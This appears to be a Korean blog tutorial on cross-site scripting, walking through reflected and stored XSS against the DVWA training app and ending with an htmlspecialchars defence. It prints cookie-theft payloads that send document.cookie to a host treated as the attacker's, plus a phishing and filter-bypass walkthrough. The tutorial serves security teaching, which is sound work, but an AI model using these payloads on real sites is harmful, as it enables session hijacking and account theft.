XSS란?
XSS란 Cross site scripting의 약자로 인터넷 공격의 한 종류입니다.
Cross site scripting이라면 css가 되지 않겠나 싶은데 css은 이미 html/css에서 사용하고 있어서 xss라고 불립니다.
XSS는 자바스크립트와 밀접한 연관이 있습니다.
XSS는 취약한 웹 페이지에 자바스크립트를 전송해 클라이언트 쪽 웹에서 실행하고 원하는 데이터를 빼오거나, 악성 파일을 보내는 동작을 합니다.
XSS에는 크게 2가지 공격이 있습니다.
- Reflected XSS - 특정판 피해자를 대상으로 공격, 웹 서버에 스크립트 남기지 않음
- Stored XSS - 다수, 임의의 대상을 공격, 웹 서버에서 스크립트 남김
Reflected XSS
Reflected XSS는 다음과 같은 과정을 통해 공격합니다.
- 공격자가 사용자에게 악성 링크가 담긴 피싱 이메일을 전송합니다.
- 사용자는 악성 링크를 클릭하며 공격자가 작성한 스크립트 코드가 삽입된 요청을 전송합니다.
- 서버는 해당 스크립트 코드를 사용자에게 다시 되돌려줍니다.
- 사용자 PC에서 스크립트가 실행되면서 공격자에게 정보를 전송합니다.
- 공격자는 사용자의 정보를 받게 됩니다.
Stored XSS
Stored XSS는 다음과 같은 과정을 통해 공격합니다.
- 공격자가 방명록 같은 곳에 스크립트를 삽입해 놓습니다.
- 일반 사용자가 아무것도 모르고 방명록을 조회합니다.
- 해당 스크립트 코드가 그 사용자 PC에서 실행됩니다.
- 사용자 PC에서 스크립트가 실행되면서 공격자에게 정보를 전송합니다.
- 공격자는 사용자의 정보를 받게 됩니다.
실습
Reflected XSS
Reflected XSS부터 실습을 진행해 보겠습니다.
DVWA에 "XSS (Reflected)" 메뉴로 이동합니다.
입력 창에 다음과 같이 입력하고 submit을 눌러봅니다.
<script> alert(1) </script>
그럼 다음과 같이 1이라는 alert가 출력되는 것을 볼 수 있습니다.
이런 사이트가 XSS 공격에 취약한 사이트입니다.
다음과 같이 입력하고 submit을 해보겠습니다.
<script> alert(document.cookie) </script>
그럼 다음과 같이 세션과 쿠키에 대한 정보를 확인할 수 있습니다.
터미널에서 다음과 같은 명령어를 통해 웹서버의 로그를 출력해봅니다
tail -f /opt/lampp/logs/access log
그리고 DVWA입력창에서 다음과 같은 스크립트를 적고 submit을 눌러봅니다.
<script> document.location='http://127.0.0.1/cookie?'+document.cookie </script>
여기서 127.0.0.1은 공격자의 사이트라고 가정합니다.
이 스크립트를 실행하면 쿠키 정보를 해커 측으로 전송하게 됩니다.
submit을 누르면 다음과 같은 결과를 볼 수 있습니다.
공격자가 터미널 창에 띄어놓은 log에서 쿠키를 확인할 수 있었습니다.
이렇게 입력창에 스크립트를 직접 작성하는 사용자는 없을 것입니다.
다음과 같이 피싱 메일을 만들어봅시다.
해당 링크를 클릭하면 로그에 다음과 같이 쿠키를 조회할 수 있습니다.
Stored XSS
이번에는 Stored XSS 공격을 실습해 모겠습니다
DVWA에 "XSS (Stored)" 메뉴로 이동합니다.
다음과 같이 방명록을 남겨둡니다.
방명록의 글자 제한이 50으로 걸려있는데, 오른쪽 클릭 후 Inspect Element를 통해 maxlength 속성을 500으로 늘려주고, 다음과 같은 스크립트 코드를 작성한 후 방명록을 남깁니다.
<script>document.locaiton='http://127.0.0.1/cookie?'+document.cookie</script>
그럼 DVWA메뉴에서 XSS (stored) 메뉴를 눌러 접속할 때마다 공격자 컴퓨터인 터미널 창으로 쿠키 정보가 전송되는 것을 볼 수 있습니다.
공격자는 한 번의 공격으로 다수의 사용자에게 공격할 수 있습니다.
DVWA Medium단계
DVWA의 미디엄 단계에서 XSS를 보면, 입력된 스크립트에서 <script> 태그를 찾아서 제거하는 것을 확인할 수 있습니다.
하지만 이는 <SCRIPT>와 같은 대문자 태그를 검사하지 않으니 다음과 같이 스크립트를 작성하면 정상적으로 공격할 수 있습니다.
대응 방법
XSS 공격을 성공적으로 하기 위해 <script> 태그를 사용하는데, 여기서 사용되는 < 나 > 같은 특수문자를 막으면 가능합니다.
htmlspecialchars라는 함수는 < 를 < 로 변경해 웹 페이지에서 출력은 특수문자로 하지만, 스크립트 측에서는 특수문자 역할을 못하게 합니다.
이렇게 XSS 공격을 막을 수 있습니다.
'인터넷 보안 > 실습' 카테고리의 다른 글
[인터넷 보안] XSS (Kali, Ubuntu 사용) (1) | 2021.06.12 |
---|---|
[인터넷 보안] SQL Injection - SQL Map (0) | 2021.06.12 |
[인터넷 보안] SQL Injection (0) | 2021.06.11 |
[인터넷 보안] CSRF 공격 (0) | 2021.06.11 |
댓글